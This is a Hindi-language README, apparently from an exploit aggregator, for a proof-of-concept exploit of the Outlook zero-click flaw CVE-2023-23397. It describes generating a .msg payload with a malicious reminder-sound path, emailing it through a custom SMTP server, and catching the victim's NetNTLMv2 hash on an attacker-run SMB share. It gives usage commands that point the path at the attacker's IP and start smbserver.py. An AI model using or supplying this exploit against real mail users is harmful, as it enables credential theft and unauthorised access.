Exploit for CVE-2023-23397

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TRACKFLAW-CVE-2023-23397
# CVE-2023-23397

Outlook थिक क्लाइंट को प्रभावित करने वाली CVE-2023-23397 भेद्यता का सरल और जल्दबाज़ी में बनाया गया PoC।

## विवरण

Outlook में उपयोगकर्ता इनपुट पर नियंत्रण की कमी है, जो मीटिंग और अपॉइंटमेंट रिमाइंडर की ध्वनि को कॉन्फ़िगर करने की अनुमति देता है। वास्तव में, एक हमलावर उपयोगकर्ता की ओर से किसी भी हेरफेर के बिना (ज़ीरो क्लिक भेद्यता) पीड़ित को अपने सर्वर से कनेक्शन बनाने के लिए मजबूर कर सकता है।

इस भेद्यता का शोषण करने वाला हमलावर SMB अनुरोध के माध्यम से फंसे हुए उपयोगकर्ता के पासवर्ड पर आधारित NetNTLMv2 डाइजेस्ट प्राप्त करता है। मेल इनबॉक्स में आते ही अनुरोध ट्रिगर हो जाता है।

## PoC क्या करता है?

  1. `.msg` पेलोड उत्पन्न करता है।
  2. इसे कस्टम SMTP सर्वर के साथ ईमेल द्वारा भेजता है।



## उपयोग

एक सत्र में :

root@kitploit:~
    
    
    python CVE-2023-23397.py
    
    usage: CVE-2023-23397.py [-h] -p PATH
    CVE-2023-23397.py: error: the following arguments are required: -p/--path
    
    python CVE-2023-23397.py --path '\\yourip\'
    

दूसरे सत्र में (`smbserver` या `responder` जैसा आप चाहें)।

root@kitploit:~
    
    
    smbserver.py -smb2support SHARE .
    

## डेमो (मैनुअल PoC)

![poc](https://assets.kitploit.com/production/public/readmes/21251/5c7cb7679f9d65fef5d0d702ba074d6c0a09aaadb643ba21ffc1688ba4c191ab.gif)

## व्याख्यात्मक वीडियो (फ्रेंच भाषा में)

![Microsoft Outlook के साथ पासवर्ड प्राप्त करें #CVE-2023-23397](https://assets.kitploit.com/production/public/readmes/21251/3bfb541444c1d2f183dc4af93bd36e9d065c1bed80170b490803283f21f5fbb8.jpg)

## मूल लेख

https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/